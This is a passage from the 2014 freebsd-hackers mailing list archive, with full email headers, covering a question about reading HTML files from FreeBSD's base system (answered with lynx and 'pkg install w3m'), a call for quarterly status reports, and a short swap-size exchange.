(cpe-69-206-249-52.nyc.res.rr.com. [69.206.249.52]) by mx.google.com with ESMTPSA id x8sm32076333qam.20.2014.03.07.22.57.41 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 07 Mar 2014 22:57:41 -0800 (PST) References: Mime-Version: 1.0 (1.0) In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <1FD1BDA8-3455-4B5B-8C9F-0531E6E034A8@gmail.com> X-Mailer: iPhone Mail (11B651) From: Brian Kim Subject: Re: How to read HTML file in FreeBSD(base system) Date: Sat, 8 Mar 2014 01:57:40 -0500 To: by Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 06:57:44 -0000 Check out lynx Best, bk > On Mar 8, 2014, at 1:36 AM, by wrote: >=20 > Hello, > I use FreeBSD 10.0 RELEASE now, and I just install the base system, but I a= dd doc when I install FreeBSD, so there are some docs in my system, and they= are HTML files, so I want to ask that does FreeBSD provide some utilities t= o read HTML file in terminal? >=20 > You may say w3m is a good choice : ) > I have use it before, it is a great web browser in CLI, and its use experi= ence is like vi : ) > But I must install it from ports or src by myself, so does FreeBSD provide= some utilities in base system to implement that? >=20 > - by > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 07:07:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8EC70D31 for ; Sat, 8 Mar 2014 07:07:53 +0000 (UTC) Received: from nm9-vm0.bullet.mail.bf1.yahoo.com (nm9-vm0.bullet.mail.bf1.yahoo.com [98.139.213.154]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 21B78288 for ; Sat, 8 Mar 2014 07:07:52 +0000 (UTC) Received: from [98.139.215.142] by nm9.bullet.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 07:07:46 -0000 Received: from [98.139.211.193] by tm13.bullet.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 07:07:46 -0000 Received: from [127.0.0.1] by smtp202.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 07:07:46 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1394262466; bh=US24dAE52ClGqllDSFRJSNA6k0xSY+4KZf0GpEuz+5A=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:References:Mime-Version:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Cc:X-Mailer:From:Subject:Date:To; b=CS4GhgyFswA0n7T638ddglGjob1OokRkLLIypqlPYTKc1ePdeIr4OalH8qIQZ4s3vp8rXNSpdQ9bg3WsUMzFZWb3peyLoC/RKTUdR/hdusHJlEyriZrnO12Faud1uXYoyK3kF32eIey163mkJVbcxNdHu/mnA6APgUEpfM1WMyw= X-Yahoo-Newman-Id: 86369.77540.bm@smtp202.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: 9LlWy5cVM1md_ZkO0pCv0x0MyUFqXacoOWpTC2ZnSZx9zKc Aob3Sj4lCzHqjgXb2YGVv5hJPNiz8GJ8es4bO7_KzsaY6NR5nYO.DbScdeem gAFDePIAktRcCVFO6bR1HdA0ygWDRCObwzbLZUmbPSuthrTUmglEryl.9I43 DZuJq09XqpidhT7Coc7_qiyPdUILGcT3PJ5hYgKcD_Pi0S2birjpFHVlB90G r7dbEw8zZN5Vgi2_rmjv5tIqM3_I6GrSBnnFMSraWUfQEn0CleS.yt42mi5j BM.St1hhrXDan9nG28zOqE8d_JV3v9nNDqNkhbbVbPqlVxAN195kplwgs6_1 g486RVRsk3SvNm4.0yrN6G4ACAm1ttIa7gFH_rOFemaclIFcpshMCRh5XSDL HUyzFAGRzX.LZqvwwdGiRsJWQhL0FnXWQrdSGgcbQF3zkW73cd8tRP21mwuW W1QWDa350Pkw2N3F7Vbltclpdzab9Vu_bTsofa9w5OkWo_OfkMn0a2S3yLaO ulVJ_ExGFeb0I6o1karODxw-- X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [192.168.1.105] (free7by@220.169.172.141 with xymcookie [106.10.149.123]) by smtp202.mail.bf1.yahoo.com with SMTP; 07 Mar 2014 23:07:46 -0800 PST References: <1FD1BDA8-3455-4B5B-8C9F-0531E6E034A8@gmail.com> Mime-Version: 1.0 (1.0) In-Reply-To: <1FD1BDA8-3455-4B5B-8C9F-0531E6E034A8@gmail.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <0001D770-5599-49D7-A07F-73F7EE7F2006@yahoo.com> X-Mailer: iPhone Mail (11B651) From: by Subject: Re: How to read HTML file in FreeBSD(base system) Date: Sat, 8 Mar 2014 15:07:37 +0800 To: Brian Kim Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 07:07:53 -0000 I knew lynx, but it comes from ports too! If I choose from ports, I prefer w= 3m : ) w3m is simple and easy to use for vi users. But does base system has some choices? And can clang compile w3m now? - by > On Mar 8, 2014, at 14:57, Brian Kim wrote: >=20 > Check out lynx >=20 > Best, > bk >=20 >=20 >> On Mar 8, 2014, at 1:36 AM, by wrote: >>=20 >> Hello, >> I use FreeBSD 10.0 RELEASE now, and I just install the base system, but I= add doc when I install FreeBSD, so there are some docs in my system, and th= ey are HTML files, so I want to ask that does FreeBSD provide some utilities= to read HTML file in terminal? >>=20 >> You may say w3m is a good choice : ) >> I have use it before, it is a great web browser in CLI, and its use exper= ience is like vi : ) >> But I must install it from ports or src by myself, so does FreeBSD provid= e some utilities in base system to implement that? >>=20 >> - by >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 09:24:59 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 081D2A37; Sat, 8 Mar 2014 09:24:59 +0000 (UTC) Received: from mail-ob0-x22c.google.com (mail-ob0-x22c.google.com [IPv6:2607:f8b0:4003:c01::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BF590DD3; Sat, 8 Mar 2014 09:24:58 +0000 (UTC) Received: by mail-ob0-f172.google.com with SMTP id wm4so5143872obc.17 for ; Sat, 08 Mar 2014 01:24:58 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=WLTMXgydyP6KpaRiiVEaF2ZPHqdKj/FWoeCKiGDEeqQ=; b=q4k9Xwvj/ScgvXABxUkveDQ7wlrFyWPCvSaFafaXGl7fv0HnvmX3e+GbB8xQHSgixx KF5MbOIe3aVUqXOrLuIqgOm62jmwE6C3adiya2VBaXYtamzUUCC7RISRxEgrPYehNcaj auyloqYI1lCVfdPynyUc/bR58c0ZUPcozdurr3SxARrcFal+HUgM0DFUKExCnfwVRJgW MPN2e8YWaoop+gx+EKjL8p8vGRr1I0NUsB0ODS9f0ExgmmPWUX2C+Cw4Is+5NmGkZaea 2BhXiugIv9ZB8gWUwUTpeEjayAH2G6MEHAPfcDWLzM+/sEwDdLIjcYSDkdfWRA2ipFju UZaA== MIME-Version: 1.0 X-Received: by 10.182.65.199 with SMTP id z7mr19050761obs.7.1394270698143; Sat, 08 Mar 2014 01:24:58 -0800 (PST) Sender: pali.gabor@gmail.com Received: by 10.182.22.44 with HTTP; Sat, 8 Mar 2014 01:24:58 -0800 (PST) Date: Sat, 8 Mar 2014 10:24:58 +0100 X-Google-Sender-Auth: CAKly6qUiUF87GW6dIUpvEj0ftE Message-ID: Subject: Call for FreeBSD 2014Q1 (January-March) Status Reports From: Gabor Pali To: hackers@freebsd.org, current@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 09:24:59 -0000 Dear FreeBSD Community, Please note that the next submission date for the January to March Quarterly Status Reports is April 7th, 2014, about a month away. They do not have to be very long -- basically they may be about anything that lets people know what is going on around the FreeBSD Project. Submission of reports is not restricted to committers: Anyone who is doing anything interesting and FreeBSD-related can (and therefore encouraged to) write one! The preferred and easiest submission method is to use the XML generator [1] with the result emailed as an attachment to us, that is, monthly@FreeBSD.org [2]. There is also an XML template [3] which can be filled out manually and attached if preferred. For the expected content and style, please study our guidelines on how to write a good status reports [4]. If you are still unsure what constitutes a good status report, check out the last issue [5]. To enable compilation and publication of the quarterly report as soon as possible for the April 7th deadline, please be prompt with any report submissions you may have. We are looking forward to all of your 2014Q1 reports! Thanks, Gabor [1] http://www.freebsd.org/cgi/monthly.cgi [2] mailto:monthly@freebsd.org [3] http://www.freebsd.org/news/status/report-sample.xml [4] http://www.freebsd.org/news/status/howto.html [5] http://www.freebsd.org/news/status/report-2013-10-2013-12.html From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 09:50:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AF51A7D1 for ; Sat, 8 Mar 2014 09:50:02 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [188.252.31.196]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 30D02F7C for ; Sat, 8 Mar 2014 09:50:01 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (localhost [127.0.0.1]) by wojtek.tensor.gdynia.pl (8.14.7/8.14.7) with ESMTP id s289nhYa010181; Sat, 8 Mar 2014 10:49:43 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.7/8.14.7/Submit) with ESMTP id s289ngHG010178; Sat, 8 Mar 2014 10:49:42 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Sat, 8 Mar 2014 10:49:42 +0100 (CET) From: Wojciech Puchar To: Chris H Subject: Re: kern.maxswzone In-Reply-To: <725ac3a0c66351a391ec272d7676fdc5.authenticated@ultimatedns.net> Message-ID: References: <725ac3a0c66351a391ec272d7676fdc5.authenticated@ultimatedns.net> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.4.3 (wojtek.tensor.gdynia.pl [127.0.0.1]); Sat, 08 Mar 2014 10:49:43 +0100 (CET) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 09:50:02 -0000 > OK I'm a bit confused here. It /sounds/ like you said you put 4.7 GIGabytes > on a 512 MEGabyte hard drive. Hmm, no that can't be right. I'll bet you > meant you have a computer with 512Mb RAM, and you created a 4.7Gb slice > for SWAP. OK, that probably exceeds the traditional 2.5 x RAM I remember i just NEED 4.5GB VM. what's wrong? > it being. But still, as memory serves, the message(s) you're seeing > won't have a definitive answer without first determining how large the > "block size" is on your hard drive. While I'm inclined to think they're sector size is 512 bytes. page size 4096 - it's x86. From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 12:05:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9EA80C98 for ; Sat, 8 Mar 2014 12:05:31 +0000 (UTC) Received: from mail-we0-x22f.google.com (mail-we0-x22f.google.com [IPv6:2a00:1450:400c:c03::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 3294FAF3 for ; Sat, 8 Mar 2014 12:05:31 +0000 (UTC) Received: by mail-we0-f175.google.com with SMTP id q58so6323293wes.6 for ; Sat, 08 Mar 2014 04:05:28 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=vgsg3ym4XYgG0AmoQZPqy0RzndW8Cidmzm2+ApUVP7I=; b=YpsvRgTyyJgh8MjaGe3fQOsqirY2W21+ngwm4EFnvrROq/ImBjrlmPfim/DUnHu1T5 Hwejn7i/Gril8YNONNgiGo3tvcJKIt/bYgdUAZKG75aazrQY0BWZ+uVrwG5+mC06a/cd Cd+Tq6V3/KvPACfQZAt4hKWb32TCTgEKYwzYAhPPEo8tm/CpEWZIYg2oSsRkZIR6iU8F yq2COrghbiqUCJIK2NcuKNv7kNkY5tynqadUMvNyqwpeSmwRdHbJ7agowlp2tX1i2AHS nspTFVeUrzkmxa+gm5vHtEYf+I9oJfNEfHuAOUxnfDXq2NNHl+tPFvP/tENfuquVdxxW 8mbQ== X-Received: by 10.180.89.211 with SMTP id bq19mr2349284wib.58.1394280328863; Sat, 08 Mar 2014 04:05:28 -0800 (PST) Received: from ithaqua.etoilebsd.net (ithaqua.etoilebsd.net. [37.59.37.188]) by mx.google.com with ESMTPSA id br10sm25339852wjb.3.2014.03.08.04.05.27 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Sat, 08 Mar 2014 04:05:27 -0800 (PST) Sender: Baptiste Daroussin Date: Sat, 8 Mar 2014 13:05:25 +0100 From: Baptiste Daroussin To: by Subject: Re: How to read HTML file in FreeBSD(base system) Message-ID: <20140308120524.GC6900@ithaqua.etoilebsd.net> References: <1FD1BDA8-3455-4B5B-8C9F-0531E6E034A8@gmail.com> <0001D770-5599-49D7-A07F-73F7EE7F2006@yahoo.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="vEao7xgI/oilGqZ+" Content-Disposition: inline In-Reply-To: <0001D770-5599-49D7-A07F-73F7EE7F2006@yahoo.com> User-Agent: Mutt/1.5.21 (2010-09-15) Cc: "freebsd-hackers@freebsd.org" , Brian Kim X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 12:05:31 -0000 --vEao7xgI/oilGqZ+ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Mar 08, 2014 at 03:07:37PM +0800, by wrote: > I knew lynx, but it comes from ports too! If I choose from ports, I prefe= r w3m : ) > w3m is simple and easy to use for vi users. > But does base system has some choices? > And can clang compile w3m now? >=20 > - by just pkg install w3m regards, Bapt --vEao7xgI/oilGqZ+ Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlMbB4QACgkQ8kTtMUmk6EwYDQCgp4P5mlzqijQZXxvRTyDckGkV oI0An1EuFM/My31sxI5uluYIPvWYwAh/ =VNlK -----END PGP SIGNATURE----- --vEao7xgI/oilGqZ+-- From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 13:27:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9DA86792 for ; Sat, 8 Mar 2014 13:27:01 +0000 (UTC) Received: from nm32-vm6.bullet.mail.ir2.yahoo.com (nm32-vm6.bullet.mail.ir2.yahoo.com [212.82.97.102]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id A9E151CA for ; Sat, 8 Mar 2014 13:27:00 +0000 (UTC) Received: from [212.82.98.124] by nm32.bullet.mail.ir2.yahoo.com with NNFMP; 08 Mar 2014 13:26:52 -0000 Received: from [46.228.39.77] by tm17.bullet.mail.ir2.yahoo.com with NNFMP; 08 Mar 2014 13:26:52 -0000 Received: from [127.0.0.1] by smtp114.mail.ir2.yahoo.com with NNFMP; 08 Mar 2014 13:26:52 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.es; s=s1024; t=1394285212; bh=ZgpxqgOsDYGwYv1GT+DMPeQ4pO/yyKGJ2acwkbsY7rA=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Date:From:To:Subject:Message-Id:In-Reply-To:References:X-Mailer:Disposition-Notification-To:Mime-Version:Content-Type:Content-Transfer-Encoding; b=pcj+iXMXC40Lh0rzWJbB28IMSlXFE5heQ0MT84pJFm8iMAl8HN2lKxSqQYGAt8PY3e/Hkj6568ANm7+Jb0fvjYbZkaRp7YGMIUBcSwJP84BAnqeZheomrRzRn6mdKx3bH9zH/kmQN/mBhY+p6ueGDk9LjyDhmOXvQVxH0KjYS5E= X-Yahoo-Newman-Id: 529648.18853.bm@smtp114.mail.ir2.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: .JMj53YVM1l0elN4O4ymIE911rkPKiUTjcmAYnTSU4hmRpc UFBqcDnYmxlGygQCeF0ehB1p9ty3FOkEYN72_vu3o2w9vG7MVn.dSZjNAORP HXzKEMQJMFcGlXgfr_AeYI88Fr9u_nz2oC9pFCPoL7yM7DAKECPyCOSHWafy tNWMtCOFNgSw4Stz1idjiKasbGgRvzmorjZxHdC0swr3yNQSr2LkvJlnNQJ1 QDv4Fym78Q8SBFT1rnVweSCTgzS47AD38IAw0d_XUTdBgvJT9FkraPEzj_fP AxFWSmbwakS2Sm9IKNXMmHku9aBhoVm4kSgWc2Y0Eym9cnDy.AC5t9EjpPsE 4LVY0K_KgBpG6xWx_h9TDgKjmKLVfjRoCARnZzWMuIVAqldbVrMfhmuD7MnW OQgcqFZJ9uD9FbB7zESe26JwgHU_X5k1W_WjW3sB2khXquItdSvxxYCAgAgw k2Hv7307Akb56AOym3jEWLh4zHY2LfpAuCp8YKP337ulRjd4AlYbuRhFY X-Yahoo-SMTP: mX392iiswBAeJNdO_s.EW62LZDJR X-Rocket-Received: from camibar.emorras.eu (emorrasg@89.7.216.154 with plain [188.125.69.59]) by smtp114.mail.ir2.yahoo.com with SMTP; 08 Mar 2014 13:26:52 +0000 UTC Date: Sat, 8 Mar 2014 14:26:56 +0100 From: Eduardo Morras To: freebsd-hackers@freebsd.org Subject: Re: How to read HTML file in FreeBSD(base system) Message-Id: <20140308142656.cfcbdea1daaeed5ada8c1111@yahoo.es> In-Reply-To: References: X-Mailer: Sylpheed 3.3.1 (GTK+ 2.24.22; amd64-portbld-freebsd9.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 13:27:01 -0000 On Sat, 8 Mar 2014 14:36:16 +0800 by wrote: > Hello, > I use FreeBSD 10.0 RELEASE now, and I just install the base system, > but I add doc when I install FreeBSD, so there are some docs in my > system, and they are HTML files, so I want to ask that does FreeBSD > provide some utilities to read HTML file in terminal? > > You may say w3m is a good choice : ) > I have use it before, it is a great web browser in CLI, and its use > experience is like vi : ) But I must install it from ports or src by > myself, so does FreeBSD provide some utilities in base system to > implement that? I think no one has answered your original question. No, there's no browser in Base to read FreeBSD Base documentation in HTML. You must install something from ports always. If you want install w3m as pkg, pkg must be installed from ports first. HTH > > - by --- --- Eduardo Morras From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 13:30:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BF668898 for ; Sat, 8 Mar 2014 13:30:10 +0000 (UTC) Received: from nm22-vm1.bullet.mail.bf1.yahoo.com (nm22-vm1.bullet.mail.bf1.yahoo.com [98.139.212.127]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4A2F61EA for ; Sat, 8 Mar 2014 13:30:10 +0000 (UTC) Received: from [66.196.81.173] by nm22.bullet.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 13:30:08 -0000 Received: from [68.142.230.64] by tm19.bullet.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 13:30:08 -0000 Received: from [127.0.0.1] by smtp221.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 13:30:08 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1394285408; bh=z+uTZY8J+Yla6l4Fd64Ca2c+V/yHizPmIrPlNU/zgKE=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:References:Mime-Version:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Cc:X-Mailer:From:Subject:Date:To; b=6vfo++eYZy5DjqxL0mENQlBonIsyBLaltIcq92Ml96/15slbEvaSpRatSsVNLG52iUH2r2+MVj1Br6HiqFGvEssc+Iswqq6HYCOqr7B8yUSQT91fsJJ4cCpxbyDjeEOumra4g/CCB+xL2HofPiDkyv1Tr+zAA9UtjBqsb05dEQo= X-Yahoo-Newman-Id: 579278.18515.bm@smtp221.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: 5tMsdmAVM1ktm7_GRRxOOPnNi8wSEsQgbrCW_f.JvvoadJ8 _RxrTMyxNOJPkjntS4KFsA7CUlhgUojAlmATOcMH4igYHVkeMlVDL.khCoaT okS.R8oKN8pnljEiaoLg5cjvn6RrWp4RgrM37pBC0vpTEpTiK747ye_ewt6y UBSuSN2odYB5ifk61ef7Fm0zshEIBN8u9mItYH4RBx_Fs7AHVJG.bh6hJh.0 VRveUv5cvteqmtPKiHMfT78KE8QZTaDZkf4SljtF2R3_YWGdOskIOd8Hk.cd 1DRJXUGSIqil3v1tMtmdyQciNiiTh0bclnYwgyrsJqEi5.PLHj1FuFp7ucnr 0ZzaE2RHkuBhp8kEwds5KzTMZIAnhhKEtRrS65TTvEEEg87To9gZttqXw1Qc AqDi6hTBB0e.f5OPEDh_pnwU8sfBxOp46x7t4qNoTGco6DFhuYLtz8gERmta XATm.jQX5L5zU1TfJ7gTyNifnF21ZWXqwTrmFnKyFoNKoxkUpbO4uGgxcN8T gQLazGpwwPMsG4zwdwn_b0w-- X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [192.168.1.105] (free7by@220.169.172.141 with xymcookie [106.10.149.123]) by smtp221.mail.bf1.yahoo.com with SMTP; 08 Mar 2014 13:30:08 +0000 UTC References: <1FD1BDA8-3455-4B5B-8C9F-0531E6E034A8@gmail.com> <0001D770-5599-49D7-A07F-73F7EE7F2006@yahoo.com> <20140308120524.GC6900@ithaqua.etoilebsd.net> Mime-Version: 1.0 (1.0) In-Reply-To: <20140308120524.GC6900@ithaqua.etoilebsd.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <3D2BF760-520C-4CE1-8147-D4D10586D23A@yahoo.com> X-Mailer: iPhone Mail (11B651) From: by Subject: Re: How to read HTML file in FreeBSD(base system) Date: Sat, 8 Mar 2014 21:29:44 +0800 To: Baptiste Daroussin Cc: "freebsd-hackers@freebsd.org" , Brian Kim X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Mar 2014 13:30:10 -0000 Okay, I see. I think HTML is designed for GUI in some reasons, so that is why base system= do not include HTML solutions, cause base system of FreeBSD is in plain tex= t, which means CLI. So ASCII text is preferred. - by > On Mar 8, 2014, at 20:05, Baptiste Daroussin wrote: >=20 >> On Sat, Mar 08, 2014 at 03:07:37PM +0800, by wrote: >> I knew lynx, but it comes from ports too! If I choose from ports, I prefe= r w3m : ) >> w3m is simple and easy to use for vi users. >> But does base system has some choices? >> And can clang compile w3m now? >>=20 >> - by > just > pkg install w3m >=20 >=20 > regards, > Bapt From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 8 13:50:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CC324F76 for ; Sat, 8 Mar 2014 13:50:29 +0000 (UTC) Received: from nm36-vm8.bullet.mail.bf1.yahoo.com (nm36-vm8.bullet.mail.bf1.yahoo.com [72.30.239.70]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6DE4D349 for ; Sat, 8 Mar 2014 13:50:29 +0000 (UTC) Received: from [98.139.215.143] by nm36.bullet.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 13:48:13 -0000 Received: from [98.139.211.198] by tm14.bullet.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 13:48:13 -0000 Received: from [127.0.0.1] by smtp207.mail.bf1.yahoo.com with NNFMP; 08 Mar 2014 13:48:13 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1394286493; bh=ArqI+/PDUkoaCRPzb5EuMLo/al9KXbfz/0FN4oalfvE=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:References:Mime-Version:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Cc:X-Mailer:From:Subject:Date:To; b=sl8y/FhC54kXEmMv3etZbWJjVmcX0okYAn9I7MABkjit2V5snlwtnPFvQLCOKJusz9JlxtsZhL+tcRmbQbY/4pOJawpAaG5+DvM9qYRRZGzEem4V+IuNN5QRmkbJGeSdMvb7xubQi3mEfvcA8nHqQRgBX+u7MwhEiTpfCNljOsc= X-Yahoo-Newman-Id: 740205.45852.bm@smtp207.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: nW_T_7gVM1lUSUJgZs6Voe.6wz7xS.rF3yk91eObffClLyw KVtUZnfie.AMjEQfPS1.x_1WfAlyydeh2gh5qMYC80euUXqFCr24Cx30Af.v t77_AoRMHx21stZ7m8qjchRIg_XHl.29VjxcLaPjJ8FsFNGyn8gfHH6H.DD2 0YriYOftyLA6EwF9qqfF.IInC6TuZAEdKoxwcAFP8lpUQsFbQbt1gvvMTp.P CALv0ie8futBcbRGoR6bwnJ.EOvWFHNefaKtG6oFmTT95hUVIVctTMJueCmN 8jPbcFPqam_53cm_fpUlDOYc8saqG8ZFwXJfvBTk5M_5mzc35qT3icpcVfRF uKzQkVULWa2apjcIyv1oSmE7eiFb7z7tOIlME1oIuSU8AUwDvObw_9Sp1hYI STXZkCHX7O.amClwT7Zop91m2SkoERLYIS6hj.r2A4groJ8YbDfLE_L8rIR_ 